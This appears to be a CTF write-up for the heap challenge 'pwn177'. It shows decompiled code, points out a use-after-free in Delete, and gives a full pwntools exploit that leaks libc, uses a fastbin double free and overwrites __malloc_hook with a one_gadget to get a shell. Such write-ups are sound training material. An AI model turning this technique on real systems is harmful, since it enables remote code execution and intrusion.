CTFshow-pwn177
[!NOTE]
Ez note
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
检查保护,全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn177
[*] '/home/niuyingying/ctf/pwn/pwn177'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序主要流程大致如下
unsigned __int64 sub_B0E()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("=-=-=-=-=-=-=-=-=-=");
puts("1. Add");
puts("2. View ");
puts("3. Delete");
puts("4. Exit");
printf("Your choice : ");
return __readfsqword(0x28u) ^ v1;
}
int Add()
{
unsigned int size; // [rsp+0h] [rbp-20h] BYREF
unsigned int i; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0;
buf = 0;
size = 0;
if ( (unsigned int)dword_20203C > 9 )
return puts("Too much!!!");
s = malloc(0x28u);
memset(s, 0, 0x28u);
puts("size of the game's name: ");
if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
exit(-1);
buf = malloc(size);
if ( !buf )
{
puts("Error !!");
exit(-1);
}
puts("game's name:");
read(0, buf, size);
*((_QWORD *)s + 1) = buf;
puts("game's message:");
__isoc99_scanf("%23s", (char *)s + 16);
*(_DWORD *)s = 1;
for ( i = 0; i <= 9; ++i )
{
if ( !qword_202040[i] )
{
qword_202040[i] = s;
break;
}
}
++dword_20203C;
return puts("Added!");
}
int View()
{
__int64 v0; // rax
unsigned int i; // [rsp+4h] [rbp-Ch]
LODWORD(v0) = dword_20203C;
if ( dword_20203C )
{
for ( i = 0; i <= 9; ++i )
{
v0 = qword_202040[i];
if ( v0 )
{
LODWORD(v0) = *(_DWORD *)qword_202040[i];
if ( (_DWORD)v0 )
{
printf("Game[%u]'s name :%s", i, *(const char **)(qword_202040[i] + 8LL));
LODWORD(v0) = printf("Game[%u]'s message :%s\n", i, (const char *)(qword_202040[i] + 16LL));
}
}
}
}
else
{
LODWORD(v0) = puts("Null!");
}
return v0;
}
int Delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !dword_20203C )
return puts("Null!");
puts("game's index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 9 && qword_202040[v1] )
{
*(_DWORD *)qword_202040[v1] = 0; // qword_202040[i] = 1
free(*(void **)(qword_202040[v1] + 8LL)); // UAF
return puts("Deleted!");
}
else
{
puts("index error!");
return 0;
}
}
发现存在 UAF 漏洞,和 pwn172 - AurY1n's Blog 高度相似,攻击脚本如下:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn177')
libc = ELF('./libc-2.23.so')
# io = process('./pwn177')
io = remote("pwn.challenge.ctf.show",28192)
# io = gdb.debug('./pwn177', gdbscript='set pagination off\nbreakrva 0xD33\nbreakrva 0xE2D\nbreakrva 0xF06\nc')
def Add(size,text):
io.recvuntil(b"Your choice : ")
io.sendline(b"1")
io.recvuntil(b"size of the game's name: \n")
io.sendline(str(size).encode())
io.recvuntil(b"game's name:")
io.send(text)
io.recvuntil(b"game's message:")
io.sendline(b"cccc")
def View():
io.recvuntil(b"Your choice : ")
io.sendline(b"2")
def Delete(i):
io.recvuntil(b"Your choice : ")
io.sendline(b"3")
io.recvuntil(b"game's index:\n")
io.sendline(str(i).encode())
Add(0x90,b"aaaa") # 0
Add(0x10,b"aaaa") # 1
Delete(0)
Add(0x60,b"aaaaaaaa") # 2
View()
io.recvuntil(b"Game[2]'s name :aaaaaaaa")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
Add(0x60,b"bbbb") # 3
Add(0x20,b"bbbb") # 4
Delete(2)
Delete(3)
Delete(2)
Delete(4)
Add(0x60,p64(malloc_hook - 0x23)) # 5
Delete(4)
Add(0x60,b"bbbb") # 6
Delete(4)
Add(0x60,b"bbbb") # 7
Delete(4)
Add(0x60,b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)) # 8
io.recvuntil(b"Your choice : ")
io.sendline(b"1")
io.interactive()

浙公网安备 33010602011771号